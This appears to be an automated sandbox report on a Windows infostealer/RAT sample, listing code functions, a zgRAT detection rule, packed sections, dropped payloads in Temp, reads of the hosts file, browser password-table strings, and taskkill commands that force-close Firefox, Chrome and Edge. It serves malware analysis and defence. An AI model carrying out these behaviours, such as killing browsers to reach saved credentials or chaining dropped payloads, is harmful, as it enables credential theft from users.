Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF0D960	11_2_6CF0D960
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF1A940	11_2_6CF1A940
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF11AF0	11_2_6CF11AF0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF3E2F0	11_2_6CF3E2F0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF38AC0	11_2_6CF38AC0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF0CAB0	11_2_6CF0CAB0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF62AB0	11_2_6CF62AB0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEF22A0	11_2_6CEF22A0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF24AA0	11_2_6CF24AA0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF6BA90	11_2_6CF6BA90
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF39A60	11_2_6CF39A60
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF653C8	11_2_6CF653C8
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEFF380	11_2_6CEFF380
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF0C370	11_2_6CF0C370
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEF5340	11_2_6CEF5340
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF3D320	11_2_6CF3D320
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D003D00	11_2_6D003D00
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFFECD0	11_2_6CFFECD0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF9ECC0	11_2_6CF9ECC0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D06ED70	11_2_6D06ED70
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D036D90	11_2_6D036D90
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFAAC60	11_2_6CFAAC60
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFA3C40	11_2_6CFA3C40
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D071DC0	11_2_6D071DC0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFB1C30	11_2_6CFB1C30
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D066C00	11_2_6D066C00
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFA4DB0	11_2_6CFA4DB0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF93D80	11_2_6CF93D80
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D03FC80	11_2_6D03FC80
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D061CE0	11_2_6D061CE0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFAAEC0	11_2_6CFAAEC0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFC3EC0	11_2_6CFC3EC0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D062F70	11_2_6D062F70
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFA0FE0	11_2_6CFA0FE0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFAEFB0	11_2_6CFAEFB0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFC1F90	11_2_6CFC1F90
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D03EE70	11_2_6D03EE70
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D026E90	11_2_6D026E90
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D040EC0	11_2_6D040EC0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF95F30	11_2_6CF95F30
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFD5F20	11_2_6CFD5F20
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFA6F10	11_2_6CFA6F10
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFAD8E0	11_2_6CFAD8E0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFD38E0	11_2_6CFD38E0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D055920	11_2_6D055920
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D01F960	11_2_6D01F960
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D05D960	11_2_6D05D960
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFE2880	11_2_6CFE2880
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D071990	11_2_6D071990
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D0309A0	11_2_6D0309A0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D05A9A0	11_2_6D05A9A0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D0609B0	11_2_6D0609B0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D0399C0	11_2_6D0399C0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFF0820	11_2_6CFF0820
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFFD810	11_2_6CFFD810
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D0059F0	11_2_6D0059F0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFD49F0	11_2_6CFD49F0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D02A820	11_2_6D02A820
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFD99D0	11_2_6CFD99D0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D074840	11_2_6D074840
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D073840	11_2_6D073840
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFB1980	11_2_6CFB1980
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFD8960	11_2_6CFD8960
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF9E950	11_2_6CF9E950
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D03F8C0	11_2_6D03F8C0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D07F8F0	11_2_6D07F8F0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFA1AE0	11_2_6CFA1AE0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFA8AA0	11_2_6CFA8AA0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D040BA0	11_2_6D040BA0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D069BB0	11_2_6D069BB0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFDFA10	11_2_6CFDFA10
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFC1A00	11_2_6CFC1A00
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D04EA00	11_2_6D04EA00
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D041A10	11_2_6D041A10
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFF9BA0	11_2_6CFF9BA0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D01CA70	11_2_6D01CA70
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D01EA80	11_2_6D01EA80
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF91B70	11_2_6CF91B70
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D07DAB0	11_2_6D07DAB0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D007500	11_2_6D007500
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFA14E0	11_2_6CFA14E0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFE64D0	11_2_6CFE64D0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D002560	11_2_6D002560
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D040570	11_2_6D040570
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D02E5F0	11_2_6D02E5F0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D02D410	11_2_6D02D410
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6D004420	11_2_6D004420
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFB8460	11_2_6CFB8460
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFF6900	11_2_6CFF6900
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CFEBB20	11_2_6CFEBB20

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: String function: 00408030 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: String function: 00414400 appears 65 times
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: String function: 6CF394D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: String function: 6CF2CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 003D80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AB80C0 appears 130 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 6.2.c7af53ccad.exe.3aa3198.1.raw.unpack, type: UNPACKEDPE

Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980947717983651
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980947717983651
Source: random[2].exe0.5.dr	Static PE information: Section: ovwuuiwl ZLIB complexity 0.9948512250674865
Source: 2de5083afa.exe.5.dr	Static PE information: Section: ovwuuiwl ZLIB complexity 0.9948512250674865
Source: random[1].exe1.5.dr	Static PE information: Section: zsoqbvfv ZLIB complexity 0.9944139730609617
Source: 1375bfecca.exe.5.dr	Static PE information: Section: zsoqbvfv ZLIB complexity 0.9944139730609617
Source: random[1].exe2.5.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[1].exe2.5.dr	Static PE information: Section: vqaioxrs ZLIB complexity 0.9942169281874621
Source: 3275f9fb1e.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: 3275f9fb1e.exe.5.dr	Static PE information: Section: vqaioxrs ZLIB complexity 0.9942169281874621

Source: 6.2.c7af53ccad.exe.53d0000.4.raw.unpack, vUrPAo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.c7af53ccad.exe.50e0000.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.c7af53ccad.exe.50e0000.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 08f77951f7.exe, 00000029.00000003.3052538250.00000000004D9000.00000040.00000001.01000000.00000020.sdmp, 08f77951f7.exe, 00000029.00000003.3039991352.0000000004CE8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 08f77951f7.exe, 00000029.00000003.3052538250.00000000004D9000.00000040.00000001.01000000.00000020.sdmp, 08f77951f7.exe, 00000029.00000003.3039991352.0000000004CE8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@100/20@53/15

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Code function: 11_2_6CF57030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

11_2_6CF57030

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Code function: 7_2_00437DF0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

7_2_00437DF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2448:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3904:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5080:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

System information queried: HandleInformation

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 7847e34378.exe, 0000000B.00000002.3298117675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 7847e34378.exe, 0000000B.00000002.3298117675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 7847e34378.exe, 0000000B.00000002.3298117675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 7847e34378.exe, 0000000B.00000002.3298117675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 7847e34378.exe, 0000000B.00000002.3298117675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 7847e34378.exe, 0000000B.00000002.3298117675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 7847e34378.exe, 0000000B.00000002.3298117675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 7847e34378.exe, 0000000B.00000003.2960664913.0000000005AA9000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2927932915.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2924280579.0000000005D66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 7847e34378.exe, 0000000B.00000002.3298117675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 7847e34378.exe, 0000000B.00000002.3298117675.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3287977972.0000000005BFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 3275f9fb1e.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe "C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe"
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process created: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe "C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe "C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe "C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe "C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe "C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe "C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe"
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe "C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe"
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
